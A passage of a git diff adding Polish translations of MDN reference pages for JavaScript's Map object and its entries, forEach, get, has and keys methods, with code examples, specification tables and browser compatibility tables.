class="syntaxbox"><code><em>myMap</em>.entries()</code></pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowy iterator obiektu typu {{jsxref("Map")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_entries()">Używanie <code>entries()</code></h3> + +<pre class="brush:js">var myMap = new Map(); +myMap.set('0', 'foo'); +myMap.set(1, 'bar'); +myMap.set({}, 'baz'); + +var mapIter = myMap.entries(); + +console.log(mapIter.next().value); // ["0", "foo"] +console.log(mapIter.next().value); // [1, "bar"] +console.log(mapIter.next().value); // [Object, "baz"] +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>38</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop("20") }}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>7.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>38</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("20")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map.prototype.keys()")}}</li> + <li>{{jsxref("Map.prototype.values()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html b/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html new file mode 100644 index 0000000000..7280020397 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html @@ -0,0 +1,104 @@ +--- +title: Map.prototype.forEach() +slug: Web/JavaScript/Referencje/Obiekty/Map/forEach +tags: + - ECMAScript2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>forEach()</strong></code> wykonuje dostarczoną funcję <code>callback</code> raz dla każdej pary klucz-wartosć <code>Mapy</code> w kolejności, w jakiej zostały zostały wstawione.</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.forEach(<em>callback</em>[, <em>thisArg</em>])</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Funkcja wykonywana dla każdego elementu.</dd> + <dt><code>thisArg</code></dt> + <dd>Wartość przypisywana do <code>this</code> poczas wywołania zwrotnego (funkcja <code>callback</code>).</dd> +</dl> + +<h3 id="Zwracana_wartosć">Zwracana wartosć</h3> + +<p>{{jsxref("undefined")}}.</p> + +<h2 id="Opis">Opis</h2> + +<p>Metoda <code>forEach</code> wykonuje dostarczoną funkcję <code>callback</code> raz dla każdego klucza mapy, który istnieje. Nie jest wywoływana dla usuniętych kluczy, ale dla istniejących z wartością <code>undefined</code> już tak.</p> + +<p>Funkcja <code>callback</code> przyjmuje <strong>trzy argumenty</strong>:</p> + +<ul> + <li><strong>wartość elementu</strong></li> + <li><strong>klucz elementu</strong></li> + <li>obiekt typu <strong><code>Map</code> do przetworzenia</strong></li> +</ul> + +<p>Jeśli argument <code>thisArg</code> jest dostarczony do <code>forEach</code>, zostaje przekazany do fukncji <code>callback</code> podczas jej wywołania, jako jej własna wartość <code>this</code>. W przeciwnym wypadku, <code>this</code> przyjmuje wartość <code>undefined</code>. </p> + +<p>Każda wartość jest odwiedzana raz, oprócz przypadku, gdzie została usunięta, a następnie dodana ponownie, nim metoda <code>forEach</code> zakończyła swoje działanie. Funkcja <code>callback</code> nie jest wywoływana dla wartości usuniętych przed ich odwiedzeniem. Nowe wartości dodane jeszcze przed zakończeniem <code>forEach</code> zostaną odwiedzone.</p> + +<p>Metoda <code>forEach</code> nie zwraca żadnej wartości.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Wyświetlanie_zawartości_Mapy">Wyświetlanie zawartości <code>Mapy</code></h3> + +<p>Poniższy kod wyświetla jedną linię dla każdej pary klucz-wartość <code>Mapy</code>:</p> + +<pre class="brush:js">function logMapElements(value, key, map) { + console.log(`m[${key}] = ${value}`); +} +new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements); +// logs: +// "m[foo] = 3" +// "m[bar] = [object Object]" +// "m[baz] = undefined" +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.builtins.Map.forEach")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Set.prototype.forEach()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/get/index.html b/files/pl/web/javascript/referencje/obiekty/map/get/index.html new file mode 100644 index 0000000000..a8cb900ed7 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/get/index.html @@ -0,0 +1,80 @@ +--- +title: Map.prototype.get() +slug: Web/JavaScript/Referencje/Obiekty/Map/get +tags: + - ECMAScript 2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/get +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>get()</strong></code> zwraca podany element <code>Mapy</code>.</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.get(key);</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt>key</dt> + <dd>Wymagany. Klucz elementu, który ma zostać zwrócony.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Element powiązany z danym kluczym lub <code>undefined</code>, jeśli klucz nie został odnaleziony.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_metody_get">Używanie metody <code>get</code></h3> + +<pre class="brush: js">var myMap = new Map(); +myMap.set('bar', 'foo'); + +myMap.get('bar'); // zwraca "foo". +myMap.get('baz'); // zwraca undefined. +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.builtins.Map.get")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("Map.prototype.set()")}}</li> + <li>{{jsxref("Map.prototype.has()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/has/index.html b/files/pl/web/javascript/referencje/obiekty/map/has/index.html new file mode 100644 index 0000000000..14bf4f71dc --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/has/index.html @@ -0,0 +1,85 @@ +--- +title: Map.prototype.has() +slug: Web/JavaScript/Referencje/Obiekty/Map/has +tags: + - ECMAScript 2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/has +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>has()</strong></code> zwraca <a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean">Boolean</a>, który określa czy element o podanym kluczu istnieje.</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.has(key);</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt>key</dt> + <dd>Wymagany. Klucz elementu, którego istnienie w <code>Mapie</code> zostanie sprawdzone.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<dl> + <dt>Boolean</dt> + <dd> + <p><code>true</code>, jeśli dany element istnieje w <code>Mapie</code> - w przeciwnym wypadku <code>false</code>.</p> + </dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_metody_has">Używanie metody <code>has</code></h3> + +<pre class="brush: js">var myMap = new Map(); +myMap.set('bar', "foo"); + +myMap.has('bar'); // zwraca true +myMap.has('baz'); // zwraca false +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.builtins.Map.has")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("Map.prototype.set()")}}</li> + <li>{{jsxref("Map.prototype.get()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/index.html b/files/pl/web/javascript/referencje/obiekty/map/index.html new file mode 100644 index 0000000000..8c0a9833eb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/index.html @@ -0,0 +1,458 @@ +--- +title: Map +slug: Web/JavaScript/Referencje/Obiekty/Map +tags: + - ECMAScript 2015 + - JavaScript + - Map +translation_of: Web/JavaScript/Reference/Global_Objects/Map +--- +<div>{{JSRef}}</div> + +<p><strong>Map </strong>jest prostym obiektem mapującym klucze na wartości. Każdy element (zarówno obiekt jak i {{Glossary("Primitive", "wartości proste")}}) mogą być użyte zarówno jako klucz jak i wartość.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">new Map([iterable])</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>iterable</code></dt> + <dd>Iterable jest tablicą lub innym iterowalnym obiektem, którego elementy są parami typu klucz-wartość (np. 2 elementowa tablica). Każda para klucz-wartość jest dodawana do obiektu new Map. <code>null</code> jest traktowane jako <code>undefined.</code></dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Obiekt Map iteruje swoje elementy we wprowadzonej kolejności — pętla {{jsxref("Statements/for...of", "for...of")}} zwraca tablicę <code>[key, value] </code>dla każdej iteracji.</p> + +<p>Należy pamiętać, że kolejność iteracji dla <code>Map</code> mapującej obiekty, w szczególności np. dla słownika słowników, odzwieciedlać będzie jedynie kolejność dodawania obiektów do kolekcji, natomiast kolejność dodawania elementów do samych obiektów nie jest gwarantowana i powinna być traktowana jako losowa.</p> + +<h3 id="Równość_kluczy">Równość kluczy</h3> + +<p>Klucze porównywane są według algorytmu "same-value" (tej samej wartości).</p> + +<p><code>NaN</code> jest traktowana jako równa <code>NaN</code> (mimo tego, że <code>NaN !== NaN</code>). Wszystkie inne wartości są uważane za równe zgodnie z semantyką <code>===</code> operatora równości.</p> + +<p>W obecnej specyfikacji ECMAScript <code>-0 === +0</code>, choć wcześniejsze propozycje zakładały inne zachowanie, co zaowocowało implementacją w niektórych wersjach przeglądarek. Szczegóły zawarte są w "Value equality for -0 and 0" w tabeli <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Map$edit#Browser_compatibility">kompatybilności przeglądarek</a>.</p> + +<h3 id="Porównanie_Obiektów_i_Map">Porównanie Obiektów i Map</h3> + +<p>{{jsxref("Object", "Obiekty")}} są podobne do Map. W obu przypadkach pozwalają ustawić klucze dla wartości, zwracają te wartości, usuwają klucze i wykrywają czy coś jest przechowywane jako klucz. Z tego powodu (i ponieważ nie było innych wbudowanych alternatyw), <code>Object</code> był używany wcześniej jako <code>Map</code>. Istnieją jednak ważne różnice pomiędzy <code>Obiektami</code> i <code>Mapami</code>, które powodują, że <code>Map</code> jest lepszym wyborem w pewnych przypadkach:</p> + +<ul> + <li>Klucze obiektu są {{jsxref("String", "Stringami")}}' i {{jsxref("Symbol", "Symbolami")}}, podczas gdy dla <code>Map</code> mogą być dowolną wartością, włączając w to funkcje, obiekty czy wartości proste.</li> + <li>Można łatwo pobrać wielkość mapy używając właściwości <code>size</code>, podczas gdy wielkość obiektu musi być określana ręcznie.</li> + <li>Po mapie można iterować bezpośrednio, iteracja po obiekcie wymaga pobrania jego kluczy i iteracji po ich liście.</li> + <li>Obiekt posiada prototyp, istnieją więc domyślne klucze, które mogą kolidować z Twoimi kluczami, jeśli nie jesteś ostrożny. Można ominąć ten problem używając <code>Object.create(null)</code> (dostępne od ES5), ale było to rzadko stosowane rozwiązanie.</li> + <li>Mapa może osiągnąć lepszą wydajność w scenariuszu, w którym często dodajemy i usuwamy pary klucz-wartość.</li> +</ul> + +<p>Nie oznacza to, że powinno się używać <code>Maps</code> wszędzie. Obiekty są wciąż używane w większości przypadków. Instancje <code>Map</code> są użyteczne dla kolekcji, warto rozważyć ich zaadaptowanie jedynie w przypadkach, gdy wcześniej używano dla nich obiektów. Obiekty powinny być używane jako rejestr z polami i metodami. Jeśli wciąż nie jesteś pewien czego użyć, pomocne mogą okazać się poniższe pytania:</p> + +<ul> + <li>Czy klucze są nieznane do momentu uruchomienia programu? Czy potrzebujesz wyszukiwać lub tworzyć je dynamicznie?</li> + <li>Czy wszystkie wartości mają ten sam typ? Czy mogą być użyte wymiennie?</li> + <li>Czy potrzebujesz kluczy, które nie są typu string?</li> + <li>Czy pary klucz-wartość są często dodawane lub usuwane?</li> + <li>Czy kolekcja powinna być iterowalna?</li> +</ul> + +<p>Jeśli odpowiedziałeś 'tak' na którekolwiek z tych pytań, prawdopodobnie powinieneś użyć <code>Map</code>. I przeciwnie, jeśli masz zamknięty zbiór kluczy, jeśli musisz odwoływać się do poszczególnych, specyficznych kluczy a każdy z nich ma swoje, odrębne od innych znaczenie, najprawdopodobniej potrzebujesz obiektu.</p> + +<h2 id="Własności">Własności</h2> + +<dl> + <dt><code>Map.length</code></dt> + <dd>Wartość <code>length</code> jest zawsze równa 0.</dd> + <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt> + <dd>Funkcja konstruktora używana do tworzenia obiektów pochodnych.</dd> + <dt>{{jsxref("Map.prototype")}}</dt> + <dd>Reprezentuje prototyp funkcji konstruktora <code>Map</code>. Pozwala rozszerzać prototyp wszystkich obiektów <code>Map</code> o własne własności.</dd> +</dl> + +<h2 id="Instancje_Map">Instancje <code>Map</code></h2> + +<p>Wszystkie instancje <code>Map</code> dziedziczą po {{jsxref("Map.prototype")}}.</p> + +<h3 id="Własności_2">Własności</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}</p> + +<h3 id="Metody">Metody</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_obiektu_typu_Map">Używanie obiektu typu <code>Map</code></h3> + +<pre class="brush: js notranslate">var myMap = new Map(); + +var keyString = 'a string', + keyObj = {}, + keyFunc = function() {}; + +// setting the values +myMap.set(keyString, "value associated with 'a string'"); +myMap.set(keyObj, 'value associated with keyObj'); +myMap.set(keyFunc, 'value associated with keyFunc'); + +myMap.size; // 3 + +// getting the values +myMap.get(keyString); // "value associated with 'a string'" +myMap.get(keyObj); // "value associated with keyObj" +myMap.get(keyFunc); // "value associated with keyFunc" + +myMap.get('a string'); // "value associated with 'a string'" + // because keyString === 'a string' +myMap.get({}); // undefined, because keyObj !== {} +myMap.get(function() {}) // undefined, because keyFunc !== function () {} +</pre> + +<h3 id="Użycie_NaN_jako_kluczy_w_Map">Użycie <code>NaN</code> jako kluczy w <code>Map</code></h3> + +<p><code>NaN</code> can also be used as a key. Even though every <code>NaN</code> is not equal to itself (<code>NaN !== NaN</code> is true), the following example works, because <code>NaN</code>s are indistinguishable from each other:</p> + +<pre class="brush: js notranslate">var myMap = new Map(); +myMap.set(NaN, 'not a number'); + +myMap.get(NaN); // "not a number" + +var otherNaN = Number('foo'); +myMap.get(otherNaN); // "not a number" +</pre> + +<h3 id="Iteracja_po_Map_przy_użyciu_for..of">Iteracja po <code>Map</code> przy użyciu <code>for..of</code></h3> + +<pre class="brush: js notranslate">var myMap = new Map(); +myMap.set(0, 'zero'); +myMap.set(1, 'one'); +for (var [key, value] of myMap) { + console.log(key + ' = ' + value); +} +// 0 = zero +// 1 = one + +for (var key of myMap.keys()) { + console.log(key); +} +// 0 +// 1 + +for (var value of myMap.values()) { + console.log(value); +} +// zero +// one + +for (var [key, value] of myMap.entries()) { + console.log(key + ' = ' + value); +} +// 0 = zero +// 1 = one +</pre> + +<h3 id="Iteracja_po_Map_przy_użyciu_forEach">Iteracja po <code>Map</code> przy użyciu <code>forEach()</code></h3> + +<pre class="brush: js notranslate">myMap.forEach(function(value, key) { + console.log(key + ' = ' + value); +}); +// Will show 2 logs; first with "0 = zero" and second with "1 = one" +</pre> + +<h3 id="Relacja_do_obiektów_typu_Array">Relacja do obiektów typu <code>Array</code></h3> + +<pre class="brush: js notranslate">var kvArray = [['key1', 'value1'], ['key2', 'value2']]; + +// Use the regular Map constructor to transform a 2D key-value Array into a map +var myMap = new Map(kvArray); + +myMap.get('key1'); // returns "value1" + +// Use the spread operator to transform a map into a 2D key-value Array. +console.log(uneval([...myMap])); // Will show you exactly the same Array as kvArray + +// Or use the spread operator on the keys or values iterator to get +// an array of only the keys or values +console.log(uneval([...myMap.keys()])); // Will show ["key1", "key2"] +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map-objects', 'Map')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td> + <p>{{ CompatChrome(38) }} [1]</p> + </td> + <td>12</td> + <td>{{ CompatGeckoDesktop("13") }}</td> + <td>11</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td>Constructor argument: <code>new Map(iterable)</code></td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{ CompatGeckoDesktop("13") }}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>{{CompatSafari("9")}}</td> + </tr> + <tr> + <td>iterable</td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{ CompatGeckoDesktop("17") }}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td><code>Map.clear()</code></td> + <td>{{ CompatChrome(31) }}<br> + {{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("19")}}</td> + <td>11</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td><code>Map.keys(), Map.values(), Map.entries()</code></td> + <td>{{ CompatChrome(37) }}<br> + {{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("20")}}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td><code>Map.forEach()</code></td> + <td>{{ CompatChrome(36) }}<br> + {{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("25")}}</td> + <td>11</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td>Key equality for -0 and 0</td> + <td>{{ CompatChrome(34) }}<br> + {{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("29")}}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>{{CompatSafari("9")}}</td> + </tr> + <tr> + <td>Constructor argument: <code>new Map(null)</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("37")}}</td> + <td>11</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatSafari("9")}}</td> + </tr> + <tr> + <td>Monkey-patched <code>set()</code> in Constructor</td> + <td>{{CompatVersionUnknown}}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("37")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatSafari("9")}}</td> + </tr> + <tr> + <td><code>Map[@@species]</code></td> + <td>{{CompatChrome("51")}}</td> + <td>13</td> + <td>{{CompatGeckoDesktop("41")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera("38")}}</td> + <td>{{CompatSafari("10")}}</td> + </tr> + <tr> + <td><code>Map()</code> without <code>new</code> throws</td> + <td>{{CompatVersionUnknown}}</td> + <td>12</td> + <td>{{ CompatGeckoDesktop("42") }}</td> + <td>11</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatSafari("9")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(38) }} [1]</td> + <td>{{ CompatGeckoMobile("13") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td>Constructor argument: <code>new Map(iterable)</code></td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(38) }}</td> + <td>{{ CompatGeckoMobile("13") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>9</td> + </tr> + <tr> + <td>iterable</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{ CompatGeckoMobile("17") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td><code>Map.clear()</code></td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(31) }}<br> + {{ CompatChrome(38) }}</td> + <td>{{CompatGeckoMobile("19")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td><code>Map.keys(), Map.values(), Map.entries()</code></td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(37) }}<br> + {{ CompatChrome(38) }}</td> + <td>{{CompatGeckoMobile("20")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td><code>Map.forEach()</code></td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(36) }}<br> + {{ CompatChrome(38) }}</td> + <td>{{CompatGeckoMobile("25")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td>Key equality for -0 and 0</td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(34) }}<br> + {{ CompatChrome(38) }}</td> + <td>{{CompatGeckoMobile("29")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>Constructor argument: <code>new Map(null)</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("37")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9</td> + </tr> + <tr> + <td>Monkey-patched <code>set()</code> in Constructor</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("37")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9</td> + </tr> + <tr> + <td><code>Map[@@species]</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("41")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>10</td> + </tr> + <tr> + <td><code>Map()</code> without <code>new</code> throws</td> + <td>5.1</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("42")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Starting with Chrome 31, the feature was available behind a preference. In <code>chrome://flags</code>, activate the entry “Enable Experimental JavaScript”.</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Map and Set bug at Mozilla</a></li> + <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets">ECMAScript Harmony proposal</a></li> + <li>{{jsxref("Set")}}</li> + <li>{{jsxref("WeakMap")}}</li> + <li>{{jsxref("WeakSet")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/keys/index.html b/files/pl/web/javascript/referencje/obiekty/map/keys/index.html new file mode 100644 index 0000000000..8723e295ab --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/keys/index.html @@ -0,0 +1,78 @@ +--- +title: Map.prototype.keys() +slug: Web/JavaScript/Referencje/Obiekty/Map/keys +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>keys()</strong></code> zwraca nowy obiekt typu <strong><a href="/pl/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterator</a></strong>, który zawiera klucze dla każdego elementu w <code>Mapie</code>. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.keys()</code></pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Nowy iterator obiektu typu {{jsxref("Map")}}</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_keys()">Używanie <code>keys()</code></h3> + +<pre class="brush:js">var myMap = new Map(); +myMap.set('0', 'foo'); +myMap.set(1, 'bar'); +myMap.set({}, 'baz'); + +var mapIter = myMap.keys(); + +console.log(mapIter.next().value); // "0" +console.log(mapIter.next().value); // 1 +console.log(mapIter.next().value); // Object +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td> + 